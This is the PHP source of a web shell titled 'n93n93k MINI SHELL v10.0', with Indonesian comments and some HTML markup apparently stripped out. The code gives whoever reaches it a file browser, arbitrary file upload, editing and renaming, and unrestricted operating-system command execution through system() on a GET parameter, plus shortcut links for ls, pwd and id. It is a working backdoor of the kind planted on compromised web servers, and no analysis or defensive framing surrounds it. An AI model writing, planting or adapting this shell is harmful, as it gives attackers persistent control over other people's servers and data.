cari apa mas?"; exit; } // === NAVIGASI FOLDER === $dir = realpath($_GET['dir'] ?? getcwd()); if (!$dir || !is_dir($dir)) $dir = getcwd(); chdir($dir); // === UPLOAD === if (isset($_POST['upload']) && isset($_FILES['f'])) { $dest = $_POST['dest'] ?: $_FILES['f']['name']; if (move_uploaded_file($_FILES['f']['tmp_name'], $dest)) { $msg = "[+] Upload OK: $dest"; } else $msg = "[-] Upload GAGAL"; } // === EDIT === if (isset($_POST['edit']) && isset($_POST['file']) && isset($_POST['content'])) { if (file_put_contents($_POST['file'], $_POST['content'])) { $msg = "[+] Edit OK: {$_POST['file']}"; } else $msg = "[-] Edit GAGAL"; } // === RENAME === if (isset($_POST['rename']) && isset($_POST['old']) && isset($_POST['new'])) { if (rename($_POST['old'], $_POST['new'])) { $msg = "[+] Rename OK: {$_POST['old']} ? {$_POST['new']}"; } else $msg = "[-] Rename GAGAL"; } // === HEADER === echo "
";
echo "n93n93k MINI SHELL v10.0\n";
echo "Dir: " . htmlspecialchars($dir) . "\n\n";

// === TOMBOL NAVIGASI ===
$parent = dirname($dir);
if ($parent !== $dir && is_dir($parent)) {
    echo "[ .. ] Parent\n";
}

$items = scandir($dir);
$dirs = $files = [];

foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = "$dir/$item";
    if (is_dir($path)) {
        $dirs[] = $item;
    } else {
        $files[] = $item;
    }
}

// === FOLDER (KLIK UNTUK MASUK) ===
foreach ($dirs as $d) {
    $path = "$dir/$d";
    echo "[DIR] $d/\n";
}

echo "\n";

// === FILE (KLIK UNTUK EDIT) ===
foreach ($files as $f) {
    $path = "$dir/$f";
    $size = filesize($path);
    $perm = substr(sprintf('%o', fileperms($path)), -4);
    echo "$f [$perm] ($size B)\n";
}

echo "\n";

// === UPLOAD FORM ===
echo "
Upload: To:
\n"; // === EDIT FORM === $file_to_edit = $_GET['edit'] ?? ''; $content = ''; if ($file_to_edit && file_exists("$dir/$file_to_edit")) { $content = htmlspecialchars(file_get_contents("$dir/$file_to_edit")); } echo "
Edit:
\n"; // === RENAME FORM === echo "
Rename: ?
\n"; // === COMMAND === if (isset($_GET['c'])) { echo "\n[CMD] " . htmlspecialchars($_GET['c']) . "\n
";
    system($_GET['c']);
    echo "
"; } echo "\n[ls] | "; echo "[pwd] | "; echo "[id]"; if (isset($msg)) echo "\n\n$msg"; ?>